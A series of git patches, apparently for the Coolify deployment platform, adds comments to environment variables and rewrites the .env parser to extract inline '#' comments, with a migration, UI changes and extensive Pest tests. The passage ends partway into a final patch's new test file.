.../Shared/EnvironmentVariable/All.php | 23 +- .../Shared/EnvironmentVariable/Show.php | 6 + app/Models/EnvironmentVariable.php | 2 + bootstrap/helpers/shared.php | 70 ++++- ...comment_to_environment_variables_table.php | 36 +++ openapi.json | 4 + openapi.yaml | 3 + .../shared/environment-variable/all.blade.php | 7 + .../environment-variable/show.blade.php | 198 +++++++------- .../EnvironmentVariableCommentTest.php | 120 +++++++++ tests/Unit/ParseEnvFormatToArrayTest.php | 248 ++++++++++++++++++ 12 files changed, 623 insertions(+), 103 deletions(-) create mode 100644 database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php create mode 100644 tests/Feature/EnvironmentVariableCommentTest.php create mode 100644 tests/Unit/ParseEnvFormatToArrayTest.php diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 18bb237af..8619e7ef8 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -63,10 +63,15 @@ public function submit() ]); $variables = parseEnvFormatToArray($this->envFile); - foreach ($variables as $key => $variable) { + foreach ($variables as $key => $data) { + // Extract value and comment from parsed data + $value = $data['value'] ?? $data; + $comment = $data['comment'] ?? null; + EnvironmentVariable::create([ 'key' => $key, - 'value' => $variable, + 'value' => $value, + 'comment' => $comment, 'is_preview' => false, 'resourceable_id' => $service->id, 'resourceable_type' => $service->getMorphClass(), diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 07938d9d0..d8f9e6302 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -270,18 +270,36 @@ private function deleteRemovedVariables($isPreview, $variables) private function updateOrCreateVariables($isPreview, $variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { if (str($key)->startsWith('SERVICE_FQDN') || str($key)->startsWith('SERVICE_URL') || str($key)->startsWith('SERVICE_NAME')) { continue; } + + // Extract value and comment from parsed data + $value = $data['value'] ?? $data; + $comment = $data['comment'] ?? null; + $method = $isPreview ? 'environment_variables_preview' : 'environment_variables'; $found = $this->resource->$method()->where('key', $key)->first(); if ($found) { if (! $found->is_shown_once && ! $found->is_multiline) { - // Only count as a change if the value actually changed + $changed = false; + + // Update value if it changed if ($found->value !== $value) { $found->value = $value; + $changed = true; + } + + // Always update comment from inline comment (overwrites existing) + // Set to comment if provided, otherwise set to null if no comment + if ($found->comment !== $comment) { + $found->comment = $comment; + $changed = true; + } + + if ($changed) { $found->save(); $count++; } @@ -290,6 +308,7 @@ private function updateOrCreateVariables($isPreview, $variables) $environment = new EnvironmentVariable; $environment->key = $key; $environment->value = $value; + $environment->comment = $comment; // Set comment from inline comment $environment->is_multiline = false; $environment->is_preview = $isPreview; $environment->resourceable_id = $this->resource->id; diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 2030f631e..33a2c83b9 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -34,6 +34,8 @@ class Show extends Component public ?string $real_value = null; + public ?string $comment = null; + public bool $is_shared = false; public bool $is_multiline = false; @@ -63,6 +65,7 @@ class Show extends Component protected $rules = [ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:1000', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -104,6 +107,7 @@ public function syncData(bool $toModel = false) $this->validate([ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:1000', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -118,6 +122,7 @@ public function syncData(bool $toModel = false) } $this->env->key = $this->key; $this->env->value = $this->value; + $this->env->comment = $this->comment; $this->env->is_multiline = $this->is_multiline; $this->env->is_literal = $this->is_literal; $this->env->is_shown_once = $this->is_shown_once; @@ -125,6 +130,7 @@ public function syncData(bool $toModel = false) } else { $this->key = $this->env->key; $this->value = $this->env->value; + $this->comment = $this->env->comment; $this->is_multiline = $this->env->is_multiline; $this->is_literal = $this->env->is_literal; $this->is_shown_once = $this->env->is_shown_once; diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 895dc1c43..c98b0e82a 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -24,6 +24,7 @@ 'key' => ['type' => 'string'], 'value' => ['type' => 'string'], 'real_value' => ['type' => 'string'], + 'comment' => ['type' => 'string', 'nullable' => true], 'version' => ['type' => 'string'], 'created_at' => ['type' => 'string'], 'updated_at' => ['type' => 'string'], @@ -67,6 +68,7 @@ protected static function booted() 'is_literal' => $environment_variable->is_literal ?? false, 'is_runtime' => $environment_variable->is_runtime ?? false, 'is_buildtime' => $environment_variable->is_buildtime ?? false, + 'comment' => $environment_variable->comment, 'resourceable_type' => Application::class, 'resourceable_id' => $environment_variable->resourceable_id, 'is_preview' => true, diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 9fc1e6f1c..d5b693837 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -441,13 +441,71 @@ function parseEnvFormatToArray($env_file_contents) $equals_pos = strpos($line, '='); if ($equals_pos !== false) { $key = substr($line, 0, $equals_pos); - $value = substr($line, $equals_pos + 1); - if (substr($value, 0, 1) === '"' && substr($value, -1) === '"') { - $value = substr($value, 1, -1); - } elseif (substr($value, 0, 1) === "'" && substr($value, -1) === "'") { - $value = substr($value, 1, -1); + $value_and_comment = substr($line, $equals_pos + 1); + $comment = null; + $remainder = ''; + + // Check if value starts with quotes + $firstChar = isset($value_and_comment[0]) ? $value_and_comment[0] : ''; + $isDoubleQuoted = $firstChar === '"'; + $isSingleQuoted = $firstChar === "'"; + + if ($isDoubleQuoted) { + // Find the closing double quote + $closingPos = strpos($value_and_comment, '"', 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } elseif ($isSingleQuoted) { + // Find the closing single quote + $closingPos = strpos($value_and_comment, "'", 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } else { + // Unquoted value - strip inline comments + // Only treat # as comment if preceded by whitespace + if (preg_match('/\s+#/', $value_and_comment, $matches, PREG_OFFSET_CAPTURE)) { + // Found whitespace followed by #, extract comment + $remainder = substr($value_and_comment, $matches[0][1]); + $value = substr($value_and_comment, 0, $matches[0][1]); + $value = rtrim($value); + } else { + $value = $value_and_comment; + } } - $env_array[$key] = $value; + + // Extract comment from remainder (if any) + if ($remainder !== '') { + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + // Extract everything after the # and trim + $comment = substr($remainder, $hashPos + 1); + $comment = trim($comment); + // Set to null if empty after trimming + if ($comment === '') { + $comment = null; + } + } + } + + $env_array[$key] = [ + 'value' => $value, + 'comment' => $comment, + ]; } } diff --git a/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php new file mode 100644 index 000000000..0e17e720f --- /dev/null +++ b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php @@ -0,0 +1,36 @@ +text('comment')->nullable(); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->text('comment')->nullable(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + } +}; diff --git a/openapi.json b/openapi.json index fe8ca863e..d70db2b8a 100644 --- a/openapi.json +++ b/openapi.json @@ -10540,6 +10540,10 @@ "real_value": { "type": "string" }, + "comment": { + "type": "string", + "nullable": true + }, "version": { "type": "string" }, diff --git a/openapi.yaml b/openapi.yaml index a7faa8c72..7d9c22e44 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -6687,6 +6687,9 @@ components: type: string real_value: type: string + comment: + type: string + nullable: true version: type: string created_at: diff --git a/resources/views/livewire/project/shared/environment-variable/all.blade.php b/resources/views/livewire/project/shared/environment-variable/all.blade.php index cee6b291d..a009d8d89 100644 --- a/resources/views/livewire/project/shared/environment-variable/all.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/all.blade.php @@ -79,6 +79,13 @@ @else
@can('manageEnvironment', $resource) +
+ + + + Note: Inline comments with space before # (e.g., KEY=value #comment) are stripped. Values like PASSWORD=pass#word are preserved. Use the Comment field in Normal view to document variables. +
+ diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 68e1d7e7d..259f90828 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -37,23 +37,29 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($isSharedVariable) - + @if ($is_shared) + @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) + @if ($isSharedVariable) - @if ($is_multiline === false) - + @else + @if (!$env->is_nixpacks) + + @endif + + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif @endif @endif @endif @@ -77,22 +83,26 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($isSharedVariable) - + @if ($is_shared) + @else - @if (!$env->is_nixpacks) + @if ($isSharedVariable) + + @else - @endif - - - @if ($is_multiline === false) - + + + @if ($is_multiline === false) + + @endif @endif @endif @endif @@ -103,51 +113,43 @@ @else @can('update', $this->env) @if ($isDisabled) +
+
+ + + @if ($is_shared) + + @endif +
+
+ @else +
+
+ @if ($is_multiline) + + + @else + + + @endif + @if ($is_shared) + + @endif +
+ +
+ @endif + @else +
- + @if ($is_shared) @endif
- @else -
- @if ($is_multiline) - - - @else - - - @endif - @if ($is_shared) - - @endif -
- @endif - @else -
- - - @if ($is_shared) - + @if (!$isDisabled) + @endif
@endcan @@ -167,23 +169,29 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($isSharedVariable) - + @if ($is_shared) + @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) + @if ($isSharedVariable) - @if ($is_multiline === false) - + @else + @if (!$env->is_nixpacks) + + @endif + + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif @endif @endif @endif @@ -229,22 +237,26 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($isSharedVariable) - + @if ($is_shared) + @else - @if (!$env->is_nixpacks) + @if ($isSharedVariable) + + @else - @endif - - - @if ($is_multiline === false) - + + + @if ($is_multiline === false) + + @endif @endif @endif @endif diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php new file mode 100644 index 000000000..05126c23a --- /dev/null +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -0,0 +1,120 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $this->actingAs($this->user); +}); + +test('environment variable can be created with comment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'This is a test environment variable', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe('This is a test environment variable'); + expect($env->key)->toBe('TEST_VAR'); + expect($env->value)->toBe('test_value'); +}); + +test('environment variable comment is optional', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); + expect($env->key)->toBe('TEST_VAR'); +}); + +test('environment variable comment can be updated', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->comment = 'Updated comment'; + $env->save(); + + $env->refresh(); + expect($env->comment)->toBe('Updated comment'); +}); + +test('environment variable comment is preserved when updating value', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Important variable for testing', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->value = 'new_value'; + $env->save(); + + $env->refresh(); + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Important variable for testing'); +}); + +test('environment variable comment is copied to preview environment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The model's booted() method should create a preview version + $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR') + ->where('resourceable_id', $this->application->id) + ->where('is_preview', true) + ->first(); + + expect($previewEnv)->not->toBeNull(); + expect($previewEnv->comment)->toBe('Test comment'); +}); + +test('parseEnvFormatToArray preserves values without inline comments', function () { + $input = "KEY1=value1\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('developer view format does not break with comment-like values', function () { + // Values that contain # but shouldn't be treated as comments when quoted + $env1 = EnvironmentVariable::create([ + 'key' => 'HASH_VAR', + 'value' => 'value_with_#_in_it', + 'comment' => 'Contains hash symbol', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env1->value)->toBe('value_with_#_in_it'); + expect($env1->comment)->toBe('Contains hash symbol'); +}); diff --git a/tests/Unit/ParseEnvFormatToArrayTest.php b/tests/Unit/ParseEnvFormatToArrayTest.php new file mode 100644 index 000000000..303ff007d --- /dev/null +++ b/tests/Unit/ParseEnvFormatToArrayTest.php @@ -0,0 +1,248 @@ +toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments from unquoted values', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + 'NODE_VERSION' => ['value' => '22', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () { + $input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#nocomment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment'], + 'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'], + ]); +}); + +test('parseEnvFormatToArray preserves # in quoted values', function () { + $input = "KEY1=\"value with # hash\"\nKEY2='another # hash'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with # hash', 'comment' => null], + 'KEY2' => ['value' => 'another # hash', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles quoted values correctly', function () { + $input = "KEY1=\"quoted value\"\nKEY2='single quoted'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'quoted value', 'comment' => null], + 'KEY2' => ['value' => 'single quoted', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips comment lines', function () { + $input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips empty lines', function () { + $input = "KEY1=value1\n\nKEY2=value2\n\n"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles values with equals signs', function () { + $input = 'KEY1=value=with=equals'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value=with=equals', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles empty values', function () { + $input = "KEY1=\nKEY2=value"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles complex real-world example', function () { + $input = <<<'ENV' +# Database Configuration +DB_HOST=localhost +DB_PORT=5432 #default postgres port +DB_NAME="my_database" +DB_PASSWORD='p@ssw0rd#123' + +# API Keys +API_KEY=abc123 # Production key +SECRET_KEY=xyz789 +ENV; + + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DB_HOST' => ['value' => 'localhost', 'comment' => null], + 'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'], + 'DB_NAME' => ['value' => 'my_database', 'comment' => null], + 'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null], + 'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'], + 'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles the original bug scenario', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + // The value should be "22", not "22 #needed for now" + expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed'); + // And the comment should be extracted + expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now'); +}); + +test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () { + $input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'], + 'KEY2' => ['value' => 'another value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () { + $input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes"; + $result = parseEnvFormatToArray($input); + + // KEY1: no space before #, so entire value is kept + // KEY2: space before first #, so everything from first space+# is stripped + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#not#comment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'], + ]); +}); + +test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () { + $input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '#starts with hash', 'comment' => null], + 'KEY2' => ['value' => 'hash # in middle', 'comment' => null], + 'KEY3' => ['value' => 'ends with hash#', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray trims whitespace before comments', function () { + $input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment'], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'], + ]); + // Values should not have trailing spaces + expect($result['KEY1']['value'])->not->toEndWith(' '); + expect($result['KEY2']['value'])->not->toEndWith("\t"); +}); + +test('parseEnvFormatToArray preserves hash in passwords without spaces', function () { + $input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'pass#word123', 'comment' => null], + 'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips comments with space before hash', function () { + $input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'], + 'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + ]); +}); + +test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () { + $input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'], + 'KEY2' => ['value' => 'value', 'comment' => 'another comment'], + ]); +}); + +test('parseEnvFormatToArray handles empty comments', function () { + $input = "KEY1=value #\nKEY2=value # "; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray extracts multi-word comments', function () { + $input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'], + ]); +}); + +test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () { + $input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'], + 'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'], + 'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'], + ]); +}); + +test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () { + $input = 'ASD=asd #asdfgg'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'], + ]); + + // Specifically verify the comment is extracted + expect($result['ASD']['value'])->toBe('asd'); + expect($result['ASD']['comment'])->toBe('asdfgg'); + expect($result['ASD']['comment'])->not->toBeNull(); +}); From 201c9fada342f5584414164f2f7f0cde3a4425e9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 12:47:43 +0100 Subject: [PATCH 004/305] feat: limit comment field to 256 characters for environment variables --- .../Shared/EnvironmentVariable/Show.php | 4 +-- ...comment_to_environment_variables_table.php | 4 +-- .../environment-variable/show.blade.php | 7 ++-- .../EnvironmentVariableCommentTest.php | 32 ++++++++++++++++++- 4 files changed, 38 insertions(+), 9 deletions(-) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 33a2c83b9..75149a0d4 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -65,7 +65,7 @@ class Show extends Component protected $rules = [ 'key' => 'required|string', 'value' => 'nullable', - 'comment' => 'nullable|string|max:1000', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -107,7 +107,7 @@ public function syncData(bool $toModel = false) $this->validate([ 'key' => 'required|string', 'value' => 'nullable', - 'comment' => 'nullable|string|max:1000', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', diff --git a/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php index 0e17e720f..abbae3573 100644 --- a/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php +++ b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php @@ -12,11 +12,11 @@ public function up(): void { Schema::table('environment_variables', function (Blueprint $table) { - $table->text('comment')->nullable(); + $table->string('comment', 256)->nullable(); }); Schema::table('shared_environment_variables', function (Blueprint $table) { - $table->text('comment')->nullable(); + $table->string('comment', 256)->nullable(); }); } diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 259f90828..80b607bd7 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -121,6 +121,7 @@ @endif
+ @else
@@ -136,7 +137,7 @@ @endif
- + @endif @else @@ -148,9 +149,7 @@ @endif - @if (!$isDisabled) - - @endif + @endcan @can('update', $this->env) diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php index 05126c23a..5efb2b953 100644 --- a/tests/Feature/EnvironmentVariableCommentTest.php +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -85,7 +85,7 @@ 'resourceable_id' => $this->application->id, ]); - // The model's booted() method should create a preview version + // The model's created() event listener automatically creates a preview version $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR') ->where('resourceable_id', $this->application->id) ->where('is_preview', true) @@ -118,3 +118,33 @@ expect($env1->value)->toBe('value_with_#_in_it'); expect($env1->comment)->toBe('Contains hash symbol'); }); + +test('environment variable comment can store up to 256 characters', function () { + $comment = str_repeat('a', 256); + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(256); +}); + +test('environment variable comment cannot exceed 256 characters via Livewire', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $longComment = str_repeat('a', 257); + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application']) + ->set('comment', $longComment) + ->call('submit') + ->assertHasErrors(['comment' => 'max']); +}); From ab472bf5edc962c65018c6aa8014e3df13bc5e89 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 12:48:40 +0100 Subject: [PATCH 005/305] feat: enhance environment variable handling to support mixed formats and add comprehensive tests --- app/Livewire/Project/New/DockerCompose.php | 5 +- .../Shared/EnvironmentVariable/All.php | 5 +- .../DockerComposeEnvVariableHandlingTest.php | 121 ++++++++++++++++++ 3 files changed, 127 insertions(+), 4 deletions(-) create mode 100644 tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 8619e7ef8..634a012c0 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -65,8 +65,9 @@ public function submit() $variables = parseEnvFormatToArray($this->envFile); foreach ($variables as $key => $data) { // Extract value and comment from parsed data - $value = $data['value'] ?? $data; - $comment = $data['comment'] ?? null; + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; EnvironmentVariable::create([ 'key' => $key, diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index d8f9e6302..35879665d 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -276,8 +276,9 @@ private function updateOrCreateVariables($isPreview, $variables) } // Extract value and comment from parsed data - $value = $data['value'] ?? $data; - $comment = $data['comment'] ?? null; + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; $method = $isPreview ? 'environment_variables_preview' : 'environment_variables'; $found = $this->resource->$method()->where('key', $key)->first(); diff --git a/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php b/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php new file mode 100644 index 000000000..546e24a97 --- /dev/null +++ b/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php @@ -0,0 +1,121 